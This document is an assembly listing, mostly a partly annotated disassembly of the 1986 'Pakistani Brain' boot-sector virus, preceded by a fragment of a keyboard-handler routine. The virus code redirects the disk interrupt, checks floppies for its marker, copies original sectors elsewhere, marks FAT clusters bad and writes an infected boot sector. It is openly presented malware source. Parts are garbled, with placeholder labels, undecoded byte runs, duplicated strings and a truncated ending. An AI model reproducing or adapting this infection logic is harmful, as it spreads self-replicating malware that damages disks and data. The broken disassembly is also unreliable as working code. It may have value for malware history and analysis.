+;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 + +A7DFC DB 27H,0,8,2 + + + + +********************************************************************* +--------------------------------------------------------------------- +--------------------------------------------------------------------- +********************************************************************* + +The "Pakistani Brain" + + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CODE SEGMENT PUBLIC 'CODE' ; + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING + ; + ORG 0 ; + ; +BPB EQU 3+8 ;JMP + OEM_NAME + ; +;-----------------------------------------------------------------------; +; COPY OF BOOT SECTOR ; +;-----------------------------------------------------------------------; + ; + DB 6 DUP (?) ; + ; +L0006 DB ? ;HEAD +L0007 DB ? ;SECTOR +L0008 DB ? ;TRACK + ; +L0009 DB ? ;HEAD +L000A DB ? ;SECTOR +L000B DB ? ;TRACK + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ; + ORG 512 ; + ; +;-----------------------------------------------------------------------; +; (BOOT SECTOR TYPE FORMAT!) ; +;-----------------------------------------------------------------------; +CONTINUE: JMP CONTINUE_2 ;023C + ; +L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION + ; + DW 512 ;BYTES PER SECTOR + DB 2 ;SECTORS PER ALLOCATION UNIT + DW 1 ;RESERVED SECTORS +L0210 DB 2 ;NUMBER OF FATS + DW 112 ;NUMBER OF ROOT DIR ENTRIES + DW 2D0H ;SECTORS PER DISK + DB 0FDH ;MEDIA ID + DW 2 ;SECTORS PER FAT + DW 9 ;SECTORS PER TRACK + DW 2 ;NUMBER OF HEADS + DW 0 ;HIDDEN SECTORS + ; +;---------------------------------------; + DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 + + DB 2 +DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2 + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +REBOOT: INT 19H ;REBOOT + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONTINUE_2: ; + CLI ; + XOR AX,AX ; + MOV ES,AX ;ES=0 + MOV SS,AX ;SS:SP = 0000:7C00 + MOV SP,7C00H ; + MOV DS,AX ; + MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E) + MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F + MOV [7AH],BX ; + ; + MOV DS,BX ;DS = 07C0 + MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E ! + MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 ! + INT 13H ;RESET + JNB C_10 ; + JMP ERROR_2 ;IF ERROR...'BOOT FAILURE' + ; +C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B + MOV CX,[SI] ;CX = BYTES PER SECTOR + SHR CH,1 ;WORDS PER SECTOR + XCHG CH,CL ; + MOV [2BH],CX ;SAVE ;BOOT:002B + MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010 + XOR AH,AH ; + MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016 + ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E + ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C + MOV [24H],AX ;SAVE IT ;BOOT:0024 + MOV BX,7E00H ; + CALL UI ; + ; + MOV BX,ES ;SAVE ES + MOV AX,70H ;ES=0070H + MOV ES,AX ; + MOV AX,32 ;32* + MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+ + MOV CX,[SI] ; + ADD AX,CX ; BYTES/SECTOR + DEC AX ; -1 + DIV CX ; /BYTES/SECTOR + ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT + ; + MOV CL,[2AH] ; + MOV AX,[24H] ; + CALL READ_CLUSTER ;(READ BOOT SECTOR ???) + ; + PUSH ES ; + POP DS ; + JMP 0070H:0000H ;(PASS CONTROL TO ???) + ; +;-----------------------------------------------------------------------; +; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ; +; ON ENTRY: AX = ? +; ES:BX = DTA ; +; CL = ? ; +; DS:SI = BPB ; +; DS:[0021] = ; +;-----------------------------------------------------------------------; +READ_CLUSTER: ;02B3 + PUSH BX ; + PUSH AX ; + ; + MOV AL,CL ; + MUL Byte Ptr [2BH] ; + MOV [29H],AL ; + POP AX ; + MUL Word Ptr [2BH] ; + DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK) + INC DL ; + MOV [28H],DL ; + PUSH DX ; + XOR DX,DX ; + DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS) + MOV [21H],DL ; + MOV [26H],AX ; + POP DX ; +RC_10: MOV CL,[29H] ; + ADD DL,CL ; + MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK) + INC AX ; + CMP DL,AL ; + JBE RC_20 ; + SUB AL,[28H] ; + MOV CL,AL ; +RC_20: MOV AL,CL ; + MOV DX,[26H] ; + MOV CL,6 ; + SHL DH,CL ; + OR DH,[28H] ; + MOV CX,DX ; + XCHG CH,CL ; + MOV DX,[20H] ; + ; + MOV AH,2 ;READ SECTOR + PUSH AX ; + INT 13H ; + POP AX ; + JB ERROR_2 ;IF ERROR...'BOOT FAILURE' + SUB [29H],AL ; + JBE RC_90 ; + CBW ; + MUL Word Ptr [2DH] ; + ADD BX,AX ; + INC Byte Ptr [21H] ; + MOV DL,[21H] ; + CMP DL,[SI+0FH] ; + MOV DL,1 ; + MOV [28H],DL ; + JB RC_10 ; + MOV Byte Ptr [21H],0 ; + INC Word Ptr [26H] ; + JMP RC_10 ; + ; +RC_90: POP BX ; + RET ; + ; +;-----------------------------------------------------------------------; +; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ; +;-----------------------------------------------------------------------; +ERROR_1: ;0339 + MOV SI,01B3H ;'Non-System disk' + JMP E_10 ; + ; +;---------------------------------------; +ERROR_2: ; + MOV SI,01C5H ;'BOOT failure' +E_10: CALL DISPLAY_STRING ; + ; + MOV SI,01D4H ;'Replace and press any key when ready' + CALL DISPLAY_STRING ; + ; + MOV AH,0 ;WAIT FOR A KEY + INT 16H ; +E_20: MOV AH,1 ; THROW IT AWAY AND + INT 16H ; WAIT FOR ANOTHER ONE BUT + JNZ E_20 ; DONT GET IT + JMP REBOOT ; + ; +;-----------------------------------------------------------------------; +; DISPLAY ASCIIZ STRING ; +; ON ENTRY: DS:SI = ASCIIZ STRING ; +;-----------------------------------------------------------------------; +DISPLAY_STRING: ;0357 +DS_00: LODSB ;DISPLAY UNTIL NULL + OR AL,AL ; + JZ DS_90 ; + MOV AH,0EH ; + MOV BX,7 ; + INT 10 ; + JMP DS_00 ; +DS_90: RET ;0365 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +UI: ;0366: + MOV CL,01 ; + CALL READ_CLUSTER ; + ; + PUSH SI ; + MOV DI,BX ; + MOV AX,ES:[BX+1C] ; + XOR DX,DX ; + DIV Word Ptr [SI] ; + INC AL ; + MOV [002A],AL ; + MOV SI,019D ; + MOV CX,000B ; + REPZ ; + CMPSB ; + JNZ ERROR_1 ;'NON SYSTEM DISK' + MOV AX,ES:[BX+3A] ; + MOV [0022],AX ; + MOV DI,BX ; + ADD DI,+20 ; + MOV SI,01A8 ; + MOV CX,000B ; + REPZ ; + CMPSB ; + JNZ ERROR_1 ;'NON SYSTEM DISK' + POP SI ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L039D DB 'IBMBIO COM' + DB 'IBMDOS COM' + DB CR,LF,'Non-System disk',0 + DB CR,LF,'BOOT failure',0 + DB CR,LF,'Replace and press any key when ready',0 + DB 90H,90H,90H,55H,0AAH + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0400: JMP SHORT CONT_A ; + ; + DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONT_A: ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0A5B DB 'IBMBIO COM' + DB 'IBMDOS COM' + DB CR,LF,'Non-System disk',0 + DB CR,LF,'BOOT failure',0 + DB CR,LF,'Replace and press any key when ready',0 + DB 90H,90H,90H,55H,0AAH + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD AL,00 ;0425 0400 + ADD [06C6],CH ;0427 002EC606 + AND AX,1F02 ;042B 25021F + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +REDIRECT_13: ;042E + XOR AX,AX ;GET INT 13 VECTOR + MOV DS,AX ; + MOV AX,[004CH] ; + MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR) + MOV AX,[004EH] ; + MOV [01B6H],AX ; + MOV AX,0276H ;SET INT 13 VECTOR + MOV [004CH],AX ; + MOV AX,CS ; + MOV [004EH],AX ; + ; + MOV CX,0004 ;RETRY = 4 + XOR AX,AX ; + MOV ES,AX ; +L0450: PUSH CX ; + MOV DH,CS:[0006] ;DH = HEAD + MOV DL,00 ;DRIVE A: + MOV CX,CS:[0007] ;CX = TRACK/SECTOR + MOV AX,0201 ;READ 1 SECTOR + MOV BX,7C00 ;ES:BX == DTA = 0000:7C00 + INT 6DH ; + JNB L0470 ; + MOV AH,00 ;RESET + INT 6DH ; + POP CX ;TRY AGAIN + LOOP L0450 ; + INT 18H ;LOAD BASIC + ; +L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?! + ; + NOP ;0475 90 + STI ;0476 FB + CMP AH,02 ;0477 80FC02 + JNZ L0494 ;047A 7518 + CMP DL,02 ;047C 80FA02 + JA L0494 ;047F 7713 + CMP CH,00 ;0481 80FD00 + JNZ L048B ;0484 7505 + CMP DH,00 ;0486 80FE00 + JZ L0497 ;0489 740C +L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502 + JNZ L0494 ;0490 7502 + JMP L0497 ;0492 EB03 +L0494: JMP L053C ;0494 E9A500 +L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200 + MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204 + PUSH AX ;04A3 50 + PUSH BX ;04A4 53 + PUSH CX ;04A5 51 + PUSH DX ;04A6 52 + MOV CS:[0226],DL ;04A7 2E88162602 + MOV CX,0004 ;04AC B90400 + PUSH CX ;04AF 51 + MOV AH,00 ;04B0 B400 + INT 6D ;04B2 CD6D + JB ;04CB ;04B4 7215 + MOV DH,00 ;04B6 B600 + MOV CX,0001 ;04B8 B90100 + MOV BX,06BE ;04BB BBBE06 + PUSH ES ;04BE 06 + MOV AX,CS ;04BF 8CC8 + MOV ES,AX ;04C1 8EC0 + MOV AX,0201 ;04C3 B80102 + INT 6D ;04C6 CD6D + POP ES ;04C8 07 + JNB ;04D1 ;04C9 7306 + POP CX ;04CB 59 + LOOP ;04AF ;04CC E2E1 + JMP ;04FF ;04CE EB2F + NOP ;04D0 90 + POP CX ;04D1 59 + MOV AX,CS:[06C2] ;04D2 2EA1C206 + CMP AX,1234 ;04D6 3D3412 + JNZ ;04E3 ;04D9 7508 + MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201 + JMP ;0503 ;04E1 EB20 + PUSH DS ;04E3 1E + PUSH ES ;04E4 06 + MOV AX,CS ;04E5 8CC8 + MOV DS,AX ;04E7 8ED8 + MOV ES,AX ;04E9 8EC0 + PUSH SI ;04EB 56 + CALL L0804 ;04EC E81503 + JB ;04FA ;04EF 7209 + MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202 + CALL L06B2 ;04F7 E8B801 + POP SI ;04FA 5E + POP ES ;04FB 07 + POP DS ;04FC 1F + JNB ;0503 ;04FD 7304 + MOV AH,00 ;04FF B400 + INT 6D ;0501 CD6D + POP DX ;0503 5A + POP CX ;0504 59 + POP BX ;0505 5B + POP AX ;0506 58 + CMP CX,+01 ;0507 83F901 + JNZ L053C ;050A 7530 + CMP DH,00 ;050C 80FE00 + JNZ L053C ;050F 752B + CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201 + JNZ ;052A ;0517 7511 + MOV CX,CS:[06C5] ;0519 2E8B0EC506 + MOV DX,CS:[06C3] ;051E 2E8B16C306 + MOV DL,CS:[0226] ;0523 2E8A162602 + JMP L053C ;0528 EB12 + CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202 + JNZ L053C ;0530 750A + ; + MOV CX,CS:[0007] ;CX = TRACK/SECTOR + MOV DH,CS:[0006] ;DH = HEAD +L053C: INT 6DH ; + RETF 2 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0550: JMP CONTINUE_3 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0553 DW 3 ; + DB ' (c) 1986 Basit & Amjads (pvt) Ltd' + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONTINUE_3: ;0577 + CALL READ_VERIFY ;READ VERIFY + MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS... + CMP AX,0FFFDH ; + JE L0586 ;...CONTINUE + MOV AL,3 ;ELSE RETURN ??? ERROR + STC ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0586: ;0586 + MOV CX,0037 ; + MOV Word Ptr [0353],0000 ; + CALL ;05F8 ;058F E86600 + CMP AX,0000 ;0592 3D0000 + JNZ ;05A5 ;0595 750E + INC Word Ptr [0353] ;0597 FF065303 + CMP Word Ptr [0353],+03 ;059B 833E530303 + JNZ ;05AB ;05A0 7509 + JMP ;05B6 ;05A2 EB12 + NOP ;05A4 90 + MOV Word Ptr [0353],0000 ;05A5 C70653030000 + INC CX ;05AB 41 + CMP CX,0163 ;05AC 81F96301 + JNZ ;058F ;05B0 75DD + MOV AL,01 ;05B2 B001 + STC ;05B4 F9 + RET ;05B5 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV DL,03 ;05B6 B203 + CALL ;05CB ;05B8 E81000 + DEC CX ;05BB 49 + DEC DL ;05BC FECA + JNZ ;05B8 ;05BE 75F8 + INC CX ;05C0 41 + CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD + CALL ;062D ;05C4 E86600 + MOV AL,00 ;05C7 B000 + CLC ;05C9 F8 + RET ;05CA C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + PUSH CX ;05CB 51 + PUSH DX ;05CC 52 + MOV SI,06BE ;05CD BEBE06 + MOV AL,CL ;05D0 8AC1 + SHR AL,1 ;05D2 D0E8 + JB ;05E4 ;05D4 720E + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;05D9 8B00 + AND AX,F000 ;05DB 2500F0 + OR AX,0FF7 ;05DE 0DF70F + JMP ;05EF ;05E1 EB0C + NOP ;05E3 90 + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;05E7 8B00 + AND AX,000F ;05E9 250F00 + OR AX,FF70 ;05EC 0D70FF + MOV [BX+SI],AX ;05EF 8900 + MOV [BX+SI+0400],AX ;05F1 89800004 + POP DX ;05F5 5A + POP CX ;05F6 59 + RET ;05F7 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + PUSH CX ;05F8 51 + MOV SI,06BE ;05F9 BEBE06 + MOV AL,CL ;05FC 8AC1 + SHR AL,1 ;05FE D0E8 + JB L060D ;0600 720B + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;0605 8B00 + AND AX,0FFF ;0607 25FF0F + JMP L0619 ;060A EB0D + ; +L060D: CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;0610 8B00 + AND AX,FFF0 ;0612 25F0FF + MOV CL,04 ;0615 B104 + SHR AX,CL ;0617 D3E8 +L0619: POP CX ;0619 59 + RET ;061A C3 + ; +;-----------------------------------------------------------------------; +; BX = (CX*3)/2 ; +;-----------------------------------------------------------------------; +FUNCTION_1: ;061B + PUSH DX ; + MOV AX,3 ; + MUL CX ; + SHR AX,1 ; + MOV BX,AX ; + POP DX ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +READ_VERIFY: ;0627 + MOV AH,2 ; + CALL VERIFY_SECTORS ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +WRITE_VERIFY: ;062D + MOV AH,03 ; + CALL VERIFY_SECTORS ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +VERIFY_SECTORS: ;0633 + MOV CX,4 ;RETRY = 4 +L0636: PUSH CX ; + PUSH AX ; + MOV AH,0 ;REST + INT 6DH ; + POP AX ; + JB L0653 ; + MOV BX,offset L06BEH ; + MOV AL,4 ;4==VERIFY + MOV DH,00 ;HEAD 0 + MOV DL,[0226] ;DRIVE DL + MOV CX,0002 ;TRACK 0/SECTOR 2 + PUSH AX ; + INT 6DH ; + POP AX ; + JNB L065C ;IF ERROR...EXIT +L0653: POP CX ; + LOOP L0636 ;RETRY + POP AX ; + POP AX ; + MOV AL,2 ;BAD ADDRESS MARK ??? + STC ;RETURN ERROR + RET ; + ; +L065C: POP CX ; + RET ; + ; +;-----------------------------------------------------------------------; +; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ; +;-----------------------------------------------------------------------; +CONVERT_1: ;065E + PUSH CX ; + SUB CX,2 ; + SHL CX,1 ;WORD PTR + ADD CX,9*2 ; (SECTORS PER CYLINDER ???) + MOV AX,CX ; + MOV CL,9*2 ; (SECTORS PER CYLINDER ???) + DIV CL ; + MOV DS:[0008],AL ;AL = TRACK + MOV Byte Ptr DS:[0006],0 ;INC. HEAD + INC AH ;INC. SECTOR + CMP AH,9 ;IF TOO BIG... + JBE L0684 ; + SUB AH,9 ;...START AT ZERO + MOV Byte Ptr DS:[0006],1 ;INC. HEAD +L0684: MOV DS:[0007],AH ; + POP CX ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD [BX+SI],AL ;068A 0000 + ADD [BX+SI],AL ;068C 0000 + ADD [BX+SI],AL ;068E 0000 + ADD BP,[SI+00] ;0690 036C00 + ADD AX,[BP+DI] ;0693 0303 + MOV SI,010E ;0695 BE0E01 + ADD [BX+SI],AL ;0698 0000 + ADD AX,SP ;069A 01E0 + FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0 + LAHF ;06A0 9F + LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E + LOOPNZ ;06C7 ;06A5 E020 + SUB [BP+DI+29],AH ;06A7 286329 + AND [BP+SI+72],AL ;06AA 204272 + POPA ;06AD 61 + IMUL BP,[BP+20],E824 ;06AE 696E2024E8 + FILD DWord Ptr [BX+SI] ;06B3 DB00 + JB L06C1 ;06B5 720A + PUSH DI ;06B7 57 + CALL ;06DA ;06B8 E81F00 + POP DI ;06BB 5F + JB L06C1 ;06BC 7203 + CALL WRITE_RBF ;WRITE ROOT BOOT FAT +L06C1: RET ;06C1 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV BX,049B ;06C2 BB9B04 + MOV CX,000B ; +L06C8: MOV AL,[BX] ; + NEG AL ; + MOV [SI],AL ; + INC SI ; + INC BX ; + LOOP L06C8 ; + ; + MOV AL,08 ; + MOV [SI],AL ; + CLC ; + RET ;06D7 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV Byte Ptr [06C7],91 ;06D8 C606C70691 + ADD AL,6C ;06DD 046C + ADD [BP+06FE],BH ;06DF 00BEFE06 + MOV [0493],DX ;06E3 89169304 + MOV AX,[0491] ;06E7 A19104 + SHR AX,1 ;06EA D1E8 + MOV [0497],AX ;06EC A39704 + SHR AX,1 ;06EF D1E8 + MOV [0495],AX ;06F1 A39504 + XCHG AX,CX ;06F4 91 + AND CL,43 ;06F5 80E143 + MOV DI,[0495] ;06F8 8B3E9504 + ADD DI,01E3 ;06FC 81C7E301 + MOV AL,[SI] ;0700 8A04 + CMP AL,00 ;0702 3C00 + JZ ;071B ;0704 7415 + MOV AL,[SI+0B] ;0706 8A440B + AND AL,08 ;0709 2408 + CMP AL,08 ;070B 3C08 + JZ ;071B ;070D 740C + ADD SI,+20 ;070F 83C620 + DEC Word Ptr [0491] ;0712 FF0E9104 + JNZ ;0700 ;0716 75E8 + STC ;0718 F9 + RET ;0719 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +: ;071A + MOV CX,[BP+DI+331D] ; + PUSH DS ;071E 1E + XCHG AX,DI ;071F 97 + ADD AL,89 ;0720 0489 + XCHG AX,DI ;0722 3697 + ADD AL,FA ;0724 04FA + MOV AX,SS ;0726 8CD0 + MOV SS:[0493],AX ;0728 A39304 + MOV [0495],SP ;072B 89269504 + MOV AX,CS ;072F 8CC8 + MOV SS,AX ;0731 8ED0 + MOV SP,[0497] ;0733 8B269704 + ADD SP,+0C ;0737 83C40C + MOV CL,51 ;073A B151 + ADD DX,444C ;073C 81C24C44 + MOV DI,2555 ;0740 BF5525 + MOV CX,0C03 ;0743 B9030C + REPZ ;0746 F3 + CMPSW ;0747 A7 + MOV AX,0B46 ;0748 B8460B + MOV CX,0003 ;074B B90300 + ROL AX,CL ;074E D3C0 + MOV [0497],AX ;0750 A39704 + MOV CX,0005 ;0753 B90500 + MOV DX,0008 ;0756 BA0800 + SUB Word Ptr [0497],5210 ;0759 812E97041052 + PUSH [0497] ;075F FF369704 +L0763: MOV AH,[BX] ;0763 8A27 + INC BX ;0765 43 + MOV DL,AH ;0766 8AD4 + SHL DL,1 ;0768 D0E2 + JB L0763 ;076A 72F7 +L076C: MOV DL,[BX] ;076C 8A17 + INC BX ;076E 43 + MOV AL,DL ;076F 8AC2 + SHL DL,1 ;0771 D0E2 + JB L076C ;0773 72F7 + ADD AX,1D1D ;0775 051D1D + PUSH AX ;0778 50 + INC Word Ptr [0497] ;0779 FF069704 + JNB L0780 ;077D 7301 + JMP 268B:E1E2 ;077F EAE2E18B26 + ; + XCHG AX,BP ;0784 95 + ADD AL,A1 ;0785 04A1 + XCHG AX,BX ;0787 93 + ADD AL,8E ;0788 048E + SAR BL,1 ;078A D0FB + ADD DH,[BP+SI] ;078C 0232 + CLC ;078E F8 + RET ;078F C3 + ; +;-----------------------------------------------------------------------; +; READ ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +READ_RBF: ;0790 + MOV Byte Ptr [0490],02 ;COMMAND = READ + JMP ROOT_BOOT_FAT ;DO IT + ; +;-----------------------------------------------------------------------; +; WRITE ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +WRITE_RBF: ;0798 + MOV Byte Ptr [0490],03 ;COMMAND = WRITE + JMP ROOT_BOOT_FAT ;DO IT + ; +;-----------------------------------------------------------------------; +; READ OR WRITE ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +ROOT_BOOT_FAT: ;07A0 + MOV DH,0 ;HEAD = 0 + MOV DL,[226H] ;DL = DRIVE + MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR + MOV AH,[490H] ;AH = COMMAND + MOV AL,4 ;4 SECTORS + MOV BX,6BEH ;ES:BX = DTA + CALL RESET_DO_IT ;GO TO DISK + JB L07C9 ;IF ERROR...EXIT + ; + MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1 + MOV DH,1 ;HEAD 1 + MOV AH,[490H] ;AH = COMMAND + MOV AL,3 ;3 SECTORS + ADD BX,800H ;ES:BX = DTA + CALL RESET_DO_IT ;GO TO DISK +L07C9: RET ; + ; +;-----------------------------------------------------------------------; +; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ; +;-----------------------------------------------------------------------; +RESET_DO_IT: ;07CA + MOV [0493],AX ; + MOV [0495],BX ;SAVE REGs + MOV [0497],CX ; + MOV [0499],DX ; + MOV CX,0004 ;RETRY COUNT = 4 + ; +RDI_10: PUSH CX ; + MOV AH,00 ;REST DRIVE + INT 6D ; + JB RDI_80 ;IF ERROR...RETRY + MOV AX,[0493] ;RESTORE REGs + MOV BX,[0495] ; + MOV CX,[0497] ; + MOV DX,[0499] ; + INT 6D ;DO SPECIFIED FUNCTION + JNB RDI_90 ;IF NO ERROR...EXIT +RDI_80: POP CX ; + LOOP RDI_10 ;RETRY + STC ;RETURN ERROR + RET ; + ; +RDI_90: POP CX ;RETURN NO ERROR + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD [BX+SI],AL ;07FD 0000 + ADD [BP+DI],AL ;07FF 0003 + ADD [BX+DI],AL ;0801 0001 + +L0804: ?!?! + + + + + ADD BP,AX ;0803 03E8 + DEC CX ;0805 49 + STD ;0806 FD + JB ;085D ;0807 7254 + ; + MOV Word Ptr [000A],0001 ; + MOV Byte Ptr [0009],00 ; + MOV BX,06BE ;ES:BX = DTA ? + CALL READ_SECTORS ; + ; + MOV BX,06BE ;BX = DTA + MOV AX,[0007] ;GET SECTOR TRACK + MOV [000A],AX ;SAVE SECTOR/TRACK + MOV AH,[0006] ;GET HEAD + MOV [0009],AH ;SAVE HEAD + CALL WRITE_SECTORS ;WRITE SECTOR(S) + CALL NEXT_SECTOR ;POINT TO NEXT + ; + MOV CX,0005 ;CX = ??? + MOV BX,0200 ;BX = DTA +L0837: MOV [0600],CX ;SAVE ??? + CALL WRITE_SECTORS ;WRITE SECTOR(S) + CALL NEXT_SECTOR ;POINT TO NEXT + ADD BX,512 ;DTA += 512 + MOV CX,[0600] ;??? + LOOP L0837 ;LOOP 5 TIMES ??? + ; + MOV Byte Ptr [0009],00 ;HEAD = 0 + MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1 + MOV BX,0000 ;DTA = INFECTED BOOT SECTOR + CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR + CLC ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +READ_SECTORS: ;085E + MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR + JMP DO_SECTORS ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +WRITE_SECTORS: ;0867 + MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR + JMP DO_SECTORS ; + ; +;-----------------------------------------------------------------------; +; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ; +; ; +; ON ENTRY: DS:[601H] = COMMAND ; +; DS:[602H] = SECTOR COUNT ; +; DS:[226H] = DRIVE ; +; DS:[0009] = HEAD ; +; DS:[000A] = SECTOR ; +; DS:[000B] = TRACK ; +;-----------------------------------------------------------------------; +DO_SECTORS: ;0870 + PUSH BX ; + MOV CX,4 ;RETRY COUNT = 4 + ; +D1S_10: PUSH CX ; + MOV DH,[9] ;HEAD = 9 + MOV DL,[226H] ;DRIVE + MOV CX,[10] ;TRACK/SECT + MOV AX,[602H] ;COMMAND/COUNT + INT 6DH ;(SAME AS INT 13) + JNB D1S_80 ; + ; + MOV AH,00 ;RESET + INT 6DH ;(SAME AS INT 13) + POP CX ; + LOOP D1S_10 ;TRY AGAIN + POP BX ; + POP BX ; + STC ;RETURN ERROR + RET ; + ; +D1S_80: POP CX ;0893 59 + POP BX ;0894 5B + RET ;0895 C3 + ; +;-----------------------------------------------------------------------; +; INC. NEXT SECTOR ; +; ON ENTRY: DS:[0009] = HEAD ; +; DS:[000A] = SECTOR ; +; DS:[000B] = TRACK ; +;-----------------------------------------------------------------------; +NEXT_SECTOR: ;0896 + INC Byte Ptr [10] ;SECTOR + CMP Byte Ptr [10],10 ; + JNZ NS_90 ; + MOV Byte Ptr [10],1 ; + INC Byte Ptr [9] ;HEAD + CMP Byte Ptr [9],2 ; + JNZ NS_90 ; + MOV Byte Ptr [9],0 ; + INC Byte Ptr [11] ;TRACK +NS_90: RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + DB 64 ;08BB 'dtk' + JZ ;091F ; + ; +;---------------------------------------; + JMP CONTINUE_4 ;08FA + ; + DB 'IBM X3.2' ;OEM NAME AND VERSION + ; + DW 512 ;BYTES PER SECTOR + DB 2 ;SECTORS PER ALLOCATION UNIT + DW 1 ;RESERVED SECTORS + DB 2 ;NUMBER OF FATS + DW 112 ;NUMBER OF ROOT DIR ENTRIES + DW 2D0H ;SECTORS PER DISK + DB 0FDH ;MEDIA ID + DW 2 ;SECTORS PER FAT + DW 9 ;SECTORS PER TRACK + DW 2 ;NUMBER OF HEADS + DW 0 ;HIDDEN SECTORS + ; +;---------------------------------------; + DB 0,0 + DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0 + + DB 002H,0DFH + DB 002H,025H,002H,012H + DB 